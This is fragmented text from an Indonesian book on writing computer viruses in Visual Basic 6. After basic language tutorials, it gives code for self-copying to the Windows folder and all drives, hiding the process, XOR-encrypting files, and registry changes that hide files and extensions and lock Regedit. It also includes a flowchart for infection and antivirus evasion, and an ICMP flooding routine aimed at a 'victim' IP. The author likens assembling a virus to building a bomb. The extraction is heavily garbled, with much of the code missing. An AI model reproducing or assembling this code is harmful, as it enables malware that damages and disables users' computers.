BAB I
Pemrograman Visual Basic
1
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
2
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
3
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
4
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
5
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Toolbox
Toolbox adalah jendela yang berisi komponen –
komponen yang akan anda pakai. Anda dapt menambahkan
komponen – komponen itu sendiri dengan mengklik menu Project-
> add component.
6
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Menambah Module
7
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
8
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Type Variabel
Variabel dalam visual basic berguna untuk menampung suatu
data, contoh variabel a dengan jenis integer harus diisi dengan data
integer, tidak dapat diisi dengan data berjenis string. Berikut ini tabel
jenis variabel dan jangkauan dari jenis tersebut.
Type Ukuran
Jangkuan
Data Storage
Byte 1 byte 0 s/d 255
Boolean 2 byte True atau False
Integer 2 byte -32,768 s/d 32767
Long 4 byte -2,147,483,648 s/d 2,147,483,647
-3.402823E38 s/d -1.401298E-45 (-)
Single 4 byte
1.401298E-45 s/d 3.402823E38 (+)
-1.79769313486232E308 s/d -
Double 8 byte
4.94065645841247E-324 (-)
-922,337,203,685,477.5808 s/d
Currency 8 byte
922,337,203,685,477.5807
+/-
Decimal 14 byte
79,228,162,514,264,337,593,543,950,335
Date 8 byte 1 Januari 100 s/d 31 Desember 9999
Object 4 byte Mengacu pada objek tertentu
String
10 byte +
(panjang 0 sampai lebih kurang 2 milyar
panjang string
variabel)
String
panjang dari
(panjang 1 sampai lebih kurang 65,400
string
tetap)
9
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Variant
Sembarang angka sampai jangkauan jenis
(dengan 16 byte
Double
angka)
Variant
22 byte +
(dengan Sama dengan jangkauan variabel String
panjang string
karakter)
Tabel 1-1 Daftar Type Variabel
Operator Pada Visual Basic dan urutan operasinya
Visual Basic juga menyediakan fungsi untuk aritmetika,
contohnya penambahan, pengurangan, bagi, kali dan lain -lain. Tapi
dalam aritmetika Visual Basic mempunyai urutan prosesnya. Proses
perkalian akan didahulukan dibanding proses lainnya, kecuali jika
pada proses tersebut diberi tanda kurung.
Contoh :
X=4+3*5
Akan menghasilkan 19, karena visual basic mengerjakan
perkalian terlebih dahulu kemudian penambahannya.
Y = (4 + 3) * 5
Akan menghasilkan 35, karena Visual Basic mengerjakan
penambahan (4+3) kemudian dikalikan dengan 5.
Aritmatika Komparasi Logika
Pangkat (^) Sama (=) Not
Negatif (-) Tidak sama (<>) And
Kali dan Bagi (*, /) Kurang dari (<) Or
Pembagian bulat (\) Lebih dari (>) Xor
10
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Deklarasi Variabel
Pendeklarasian variabel di Visual Basic ada bermacam –
macam pemberlakuan tingkatannya. Misalnya untuk dapat
digunakan oleh seluruh projek harus ditaruh di modul dengan
Keyword public, contoh :
Public dim a as integer
Bila ingin digunakan hanya pada modul, sub atau fungsi
tertentu harus memakai keyword Private, contoh :
Private dim a as integer
Untuk pendeklarasian variabel tingkat Public memerlukan
memori besar, sekali lagi ingat virus harus memerlukan memori
sekecil – kecilnya agar dalam menjalankan proses manipulasinya
tidak membebani hardware menjadi lambat. Tiap pemberian
variabel pada modul harus diawali keyword Option Explicit.
Keyword Digunakan pada
Public Berlaku pada level modul
Private Berlaku pada level modul
Berlaku pada level modul dan
Dim
level procedure
11
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Struktur Keputusan
Struktur keputusan yang didukung oleh Visual Basic adalah
sebagai berikut :
If...Then
Gunakan suatu struktur If...Then untuk menjalankan suatu
pernyataan secara kondisional. Anda dapat menggunakan syntax
satu baris ataupun syntax banyak baris :
If kondisi Then pernyataan
atau
If kondisi Then
pernyataan-pernyataan
End If
Kondisi biasanya berupa suatu perbandingan, maupun
ekspresi yang menghasilkan nilai numerik. Visual Basic
menginterpretasikan False sebagai nol (0), dan True sebagai bukan
nol.
If...Then...Else
Gunakan If…Then…Else untuk mendefinisikan beberapa
blok pernyataan yang akan dijalankan salah satu berdasarkan kondisi
yang memenuhi syarat
If kondisi1 Then
[blok pernyataan-1]
[ElseIf kondisi2 Then
12
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
13
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
…
[Case Else
[blokpernyataan-n]]
End Select
Struktur Perulangan
Struktur loop memperbolehkan anda untuk melaksanakan
sekelompok baris lebih dari satu kali :
Do...Loop
Gunakan Do loop untuk mengeksekusi suatu blok
statement dengan jumlah perulangan yang tak terhingga, ada
beberapa Do...Loop statement, tetapi masing-masing mengevaluasi
suatu kondisi untuk menentukan apakah melanjutkan eksekusi
Berikut ini adalah statement Do…Loop, yang dijalankan selama
kondisi benar :
Do While condition
statements
Loop
Ketika Visual menjalankan Do loop ini, pertama kali akan
di coba kondisinya, jika kondisi False (zero), akan diloncati semua
statements yang mengikuti kondisi tersebut. Visual Basic akan
menjalankan statements jika kondisi benar dan kembali ke
Do…Loop berikutnya.
Function Faktorial (x)
Dim Hasil As Double
Dim Count As Long
Hasil = 1
count = 2
14
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
15
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
16
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
kendali pada Visual Basic dapat nested sebanyak level yang anda
inginkan.
17
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
BAB III
Membuat Virus Dengan Visual Basic
Persiapan
Komputer
18
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
- P III 800Mhz
- RAM 128 MB
- Microsoft Win 98 / XP service Pack 2
- Hardisk 10 GB
- VGA dan Sound Card menyesuaikan.
- P IV 1 Ghz
- RAM 256 MB
- Microsoft Windows XP service Pack 2
- Hardisk 20 GB
- VGA dan Souncard menyesuaikan.
19
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Yah memang susah jadi bagian IT, sehari minimal kita menerima
sepuluh komplain, seratus makian…memang dasar nasib yah…okeh
lanjutttt…..
20
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Development Software
UPX
21
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Nah dua hal ini mungkin bukan suatu yang prinsipil tapi
wajib lah untuk refreshing. Kalau coding terus yah siap-siap saja
mendapat julukan RAJA dari teman-teman alias Rambut Jarang.
Otak juga perlu dipersiapkan untuk dapat fokus ke pemrograman ini.
Paling tidak sudah melakukan pendinginan, seperti meditasi dan
tidak banyak melakukan aktifitas BEJO aka Bengong-bengong
Jorok.
22
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
23
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Start
Memakai Pakaian
Mengambil Helm
di lemari
Mengecek Dompet
Apakah Cukup Mengambil Duit
Untuk membeli di Tabungan24
Pemrograman Visual
Permen?Basic
Tidak
Ya
Tidak
Ya
Pergi Ke Warung
25
Pemrograman Visual Basic
Bertanya Ke
Penjual Apakah
permennya ada?
Seni Pemrograman Virus Menggunakan Visual Basic
Tidak
Ya
26
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
1. START
2. Memakai pakaian
3. Mengambil helm di lemari
4. Mengecek dompet apakah cukup untuk membeli
permen
a. Jika ya maka teruskan ke nomor 5
b. Jika tidak ambil di tabungan kemudian ke
nomor 5
5. Pergi ke garasi untuk mengambil motor
6. Cek apakah bensin masih ada
a. Jika ya teruskan ke nomor 7
b. Jika tidak ke pom bensin dulu untuk mengisi
bensin
7. Pergi ke warung
8. Bertanya ke penjual apakah permennya ada
27
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Start
Mengaktifkan
program virus
Proses infeksi ke
file
28
Pemrograman Visual Basic
Proses Manipulasi
29
Pemrograman Visual Basic
Apakah file perlu Tidak
dimanipulasi?
Ya
Seni Pemrograman Virus Menggunakan Visual Basic
30
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
1. START
2. Mengaktifkan program virus
3. Proses Infeksi Ke file
4. Mengecek apakah file telah diberi penanda
infeksi?
a. Ya Lanjut ke nomor 5
b. Tidak, Beri penanda dulu kemudian
lanjut ke no 5
5. Melakukan proses pendeteksian AV (Anti Virus)
6. Apakah Komputer ada AV yang aktif?
a. Ya, aktifkan kode pertahanan kemudian
lanjut ke no 7
b. Tidak, Kerjakan perintah no 7
7. Proses Manipulasi
31
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
32
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Registry Windows
33
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
34
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Alamat registry :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\
Alamat registry :
HKEY_CURRENT_USER
\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
Alamat registry :
HKEY_LOCAL_MACHINE \Software\Microsoft\Windows NT\CurrentVersion\
Tiap –tiap alamat terdapat Key yang berisi nilai atau value dari
Key tersebut. Value terbagi 3 jenis yaitu :
- DWORD dengan jenis angka atau integer
- STRING dengan jenis karakter (huruf) atau kalimat
- BINARY dengan jenis angka biner
35
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
36
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
37
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
sub coba
msgbox "Ini Adalah VBScript",0,"COba Coba"
end sub
coba
38
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Akan muncul Kotak atau dialog box seperti gambar berikut ini
:
39
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Jika kita membuat kode sendiri maka murni kode tersebut berasal
dari pikiran kita dan otomatis kode-kode yang keluar langsung dari
kepala kita belum pernah dipakai orang untuk membuat sebuah
virus. Di sub bab ini saya hanya menjelaskan kode-kode yang saya
buat sendiri dan yang saya download dari internet. Merangkai
sebuah virus bisa dianalogikan seperti kita ingin merangkai sebuah
bom, kita tidak perlu membuat TNT atau C4-nya bukan, tapi cukup
membeli bahan-bahannya dari toko bahan kimia kemudian
merangkainya, sehingga menjadi sebuah bom yang dahsyat. Sama
seperti virus, kita cukup mendownload kodenya dari internet
kemudian kita rangkai satu persatu kode tersebut untuk menjadi
sebuah virus yang dahsyat….got it ☺!
Kode Penggandaan
40
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
lAns = GetDriveType(Drive)
Case 2
sAns = "Removable Drive"
Case 3
DriveType = sAns
End Function
Seni Pemrograman Virus Menggunakan Visual Basic
x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
42
Pemrograman
FileCopy Visual Basic
App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & _
"\tes_di_direktory_windows.exe"
End Sub
43
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
44
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Penjelasan Kode:
45
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
46
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
lAns = GetDriveType(Drive)
47
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
DriveType = sAns
DriveType = sAns
End Function
Dim x As Byte
48
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
For ictr = 65 To 90
49
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive &
"tes.exe"
End If
Next
End Sub
50
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
- deklarasi variabel buffer dengan type data string yang diisi dengan
nilai 255
Dim x As Long
x = GetWindowsDirectory(buffer, 255)
End Sub
51
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
kopikewindows
kodepengganda
End Sub
Kode Pertahanan
52
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Menyembunyikan Proses
1. Buat Project Baru, berupa satu form dan dua button, ubah
caption button1 menjadi ‘Sembunyi’ dan button2
‘Muncul’.
2. Kemudian Ketik source code di bawah ini, anda bisa lihat
source code-nya di CD pada direktori \kode pertahanan\
dengan nama file kodebertahan.vbp :
53
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
54
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Proses
masih
terlihat
55
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
56
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
57
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Penjelasan Kode:
App.TaskVisible = False
- Fungsi untuk menyembunyikan proses
End Sub
- Akhir dari sub program
App.TaskVisible = True
- Fungsi untuk memunculkan proses
End Sub
- Akhir dari sub program
58
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Mengenkripsi File
A W D * A L A X P > A ? S Z I G H F !
59
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
A W D * A Lx A X P > A ? S Z I G H F !
x
Nah kalau seperti ini jadi terbaca kan, tiap tanda ‘x’ berwarna
putih berfungsi sebagai pemisah kata, sehingga akan terlihat
kata..’ADA APA SIH !’. Kalau zaman sekarang untuk
mengacak suatu kode tidak perlu memakai gagang sapu lagi,
tapi cukup menggunakan komputer. Caranya gimana mas. Ok,
akan saya terangkan tapi sebelumnya akan saya jelaskan proses
enkripsi yang ada di komputer.
60
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
A=B
B=C
C=D
D=E
dst..
S=T
A=B
E=F
K= L
M=N
U=V
A=B
P=Q
U=V
T=U
61
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
1. Buat Project baru, dengan satu buah form dan dua buah
button, ubah caption button1 menjadi ‘enkrip’ dan button2
menjadi ‘dekrip’.
2. Buat class module baru dengan nama clsSimpleXOR
3. Kemudian ketik source code sesuai dengan tempatnya,
misalnya kalau source code untuk class module maka ketik
di class module, kalau untuk form maka ketik source code
di form. Anda dapat melihat source code-nya di CD pada
direktori \kode pertahanan\ dengan nama file
kodebertahan.vbp
62
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Option Explicit
Private m_Key() As Byte
End Sub
Public Sub DecryptFile(SourceFile As String, _
DestFile As String, _
Exit Sub
End If
Filenr = FreeFile
Open SourceFile For Binary As #Filenr
Close #Filenr
Call DecryptByte(ByteArray(), key)
If (FileExist(DestFile)) Then
63
Pemrograman Visual Basic
Kill DestFile
End If
Seni Pemrograman Virus Menggunakan Visual Basic
Filenr = FreeFile
Close #Filenr
Me.key = key
End If
ByteLen = UBound(ByteArray) + 1
ResultLen = ByteLen
RaiseEvent progress(CurrPercent)
End If
RaiseEvent progress(100)
64
Pemrograman Visual Basic
End If
End Sub
If (FileExist(DestFile)) Then
Kill DestFile
End If
Filenr = FreeFile
Open DestFile For Binary As #Filenr
Close #Filenr
End Sub
Public Property Let key(New_Value As String)
End If
m_KeyValue = New_Value
m_KeyLen = Len(New_Value)
m_Key() = StrConv(m_KeyValue, vbFromUnicode)
End Property
Public Function FileExist(strfilename As String) As Boolean
FileExist = True
If FileLen(strfilename) = 0 Then
FileExist = False
End If
End Function
End Sub
Seni Pemrograman Virus Menggunakan Visual Basic
66
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
TempatkanlahFile bacaan.txt
mereka (para istri)yang belum terenkrip
di mana
kamu bertempat tinggal menurut kemampuanmu
dan
janganlah kamu menyusahkan mereka untuk
Kemudian
menyempitkan (hati)file bacaan.txt
mereka. saya enkripsi, sehingga
(Q.S. Ath-Thalaaq isi
filenya
65: kelihatan seperti ini :
6)
? S
S
E
Syo> NE8
E -E
T E
S
S
hy T
T
E T
hy T
ST
TZE2 T$~~S
67
Pemrograman
T Visual Basic
H-
I~~,T$T$S
Seni Pemrograman Virus Menggunakan Visual Basic
68
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
69
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
70
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
71
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
72
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
73
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
74
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\
75
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Mengunci Regedit
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\
76
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
77
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOH
IDDEN\CheckedValue", 2
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOH
IDDEN\DefaultValue", 2
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0
End Sub
78
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
79
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"
End Sub
Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.Shell")
b.RegDelete Value
End Sub
‘////////////////////////AKHIR SOURCE KODE
MODUL///////////////////////////////////////
80
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
81
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
82
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Penjelasan Kode
Dim b As Object
83
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Set b = CreateObject("wscript.shell")
End Sub
- Akhir dari sub modul CreateIntegeKey
Dim b As Object
- Mendifinisikan b sebagai objek
Set b = CreateObject("Wscript.Shell")
84
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
b.RegDelete Value
- Melakukan penghapusan value registry windows menggunakan
metode vbs
End Sub
- Akhir dari sub modul DeleteKey
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Ex
plorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue
", 1
- Membuat fungsi pada alamat registry :
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
Folder\Hidden\SHOWALL\
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Ex
85
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
plorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue
", 1
- Membuat fungsi pada alamat registry :
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
Folder\Hidden\SHOWALL\DefaultValue
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Ex
plorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValu
e", 2
- Membuat fungsi pada alamat registry :
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
Folder\Hidden\NOHIDDEN\
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Ex
plorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValu
e", 2
- Membuat fungsi pada alamat registry :
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
Folder\Hidden\NOHIDDEN\
86
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Ex
plorer\Advanced\Hidden", 0
- Membuat fungsi pada alamat registry :
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Po
licies\System\DisableRegistryTools", 1
- Membuat fungsi pada alamat registry :
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\
DeleteKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Po
licies\System\DisableRegistryTools"
- Menghapus fungsi pada alamat registry :
87
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\Dis
ableRegistryTools
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Ex
plorer\Advanced\HideFileExt", 1
- Membuat fungsi pada alamat registry :
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Ex
plorer\Advanced\HideFileExt", 0
- Membuat fungsi pada alamat registry :
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
HideFileExt
88
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Ex
plorer\Advanced\Hidden", 1
- Membuat fungsi pada alamat registry :
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
Hidden
Kode Manipulasi
89
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
90
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Option Explicit
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260
91
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Screen.MousePointer = vbDefault
End Sub
Private Function StripNulls(f As String) As String
If Len(S) Then
If Right$(S, 1) <> "\" Then
AddBackslash = S & "\"
92
Pemrograman
Else Visual Basic
AddBackslash = S
End If
Else
AddBackslash = "\"
End If
End Function
Seni Pemrograman Virus Menggunakan Visual Basic
End Sub
Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")
Screen.MousePointer = vbHourglass
fPath = AddBackslash(Path)
End If
FindClose hFile
Screen.MousePointer = vbDefault
End Sub
95
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
End Sub
1 2 3 4
Penjelasan :
1: Getfiles -> Nama fungsi
96
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
2: “c:” -> drive yang dipilih anda bisa mengganti karakter ‘c’
menjadi ‘d’,’e’,’f’ dan lain
lain sesuai drive yang diinginkan
3: True -> menunjukkan apakah yang dicari merupakan subfolder
atau bukan, jika berupa
folder maka pencarian file akan ditelusuri sampai sub folder
terakhir.
4: nama file yang dicari, bisa menggunakan wild card seperti ‘*’
atau ‘?’. Anda dapat
mengubah nama file yang diinginkan, misalnya ingin mencari
satu file saja yaitu file kernel32.dll maka ketik ‘kernell32.dll’ atau
ingin mencari file lebih dari satu yaitu seluruh file berekstensi .doc,
cukup ganti ‘*.doc’.
Screen.MousePointer = vbHourglass
If SubFolder Then
hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) =
FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
End If
FindClose hFile
Screen.MousePointer = vbDefault 98
Pemrograman Visual Basic
End Sub
Seni Pemrograman Virus Menggunakan Visual Basic
99
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Kode dibawah ini berfungsi untuk menyalin file dari direktori satu
ke direktori lainnya.
100
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
101
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
1. Klik Tools -> Folder Options -> View maka akan terlihat
dialog box sbb:
102
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
103
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
104
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
105
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
106
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
End Sub
107
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
108
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
sDataToSend =
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo"
&_
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikooki
kookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikooki
kookikookikoo"
dwAddress = AddressStringToLong(szAddress)
hPort = IcmpCreateFile()
109
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
ECHO.Options.TTL = TTL
iOpt.TTL = TTL
If IcmpSendEcho(hPort, _
dwAddress, _
sDataToSend, _
Len(sDataToSend), _
iOpt, _
ECHO, _
Len(ECHO), _
timeout_ping) Then
Ping = ECHO.RoundTripTime
Else
Ping = ECHO.status * -1
End If
Call IcmpCloseHandle(hPort)
End Function
i=0
110
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
111
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
112
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
113
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Penjelasan Kode:
114
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
sDataToSend =
"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikookikookikookikoo" &
_
"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikookikookikookikoo" &
_
115
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikookikookikookikoo" &
_
"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikookikookikookikoo" &
_
"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikookikookikookikoo" &
_
"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikookikookikookikoo" &
_
"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikookikookikookikoo" &
_
"kikookikookikookikookikookikookikookikookikookikookikoo
kikookikookikookikookikookikookikookikoo"
dwAddress = AddressStringToLong(szAddress)
116
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
hPort = IcmpCreateFile()
ECHO.Options.TTL = TTL
- Mengisi variabel ECHO.Options.TTL dengan isi time to live
iOpt.TTL = TTL
- Mendefinisikan variabel hPort dengan jenis Long Integer
If IcmpSendEcho(hPort, _
dwAddress, _
sDataToSend, _
Len(sDataToSend), _
iOpt, _
ECHO, _
Len(ECHO), _
timeout_ping) Then
- Jika kondisi IcmpSendEcho mendapat balasan atau reply dari
komputer korban berupa nomor port, alamat IP, data yang dikirim,
ukuran data yang dikirim dan waktu pengiriman maka kerjakan
perintah selanjutnya
117
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Ping = ECHO.RoundTripTime
- Mengisi variabel ping dengan pembulatan waktu pengiriman data
ke komputer korban, misalnya waktunya 2,156 detik maka akan
dibulatkan menjadi 2 detik
Else
- Jika kondisi IcmpSendEcho tidak memenuhi, maka kerjakan
perintah di bawah ini
Ping = ECHO.status * -1
- Mengisi variabel ping dengan status tidak berhasil karena tidak
ada balasan dari komputer korban, bisa jadi komputer ada firewall-
nya atau komputer sedang down.
End If
- Akhir dari perintah If
Call IcmpCloseHandle(hPort)
End Function
- Akhir dari fungsi
118
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Next angka
- Akhir perintah for..do
End Sub
- Akhir dari sub
Text1.Text = "192.168.17.69"
- Mengisi textbox dengan ip “192.168.17.69”, anda dapat mengganti
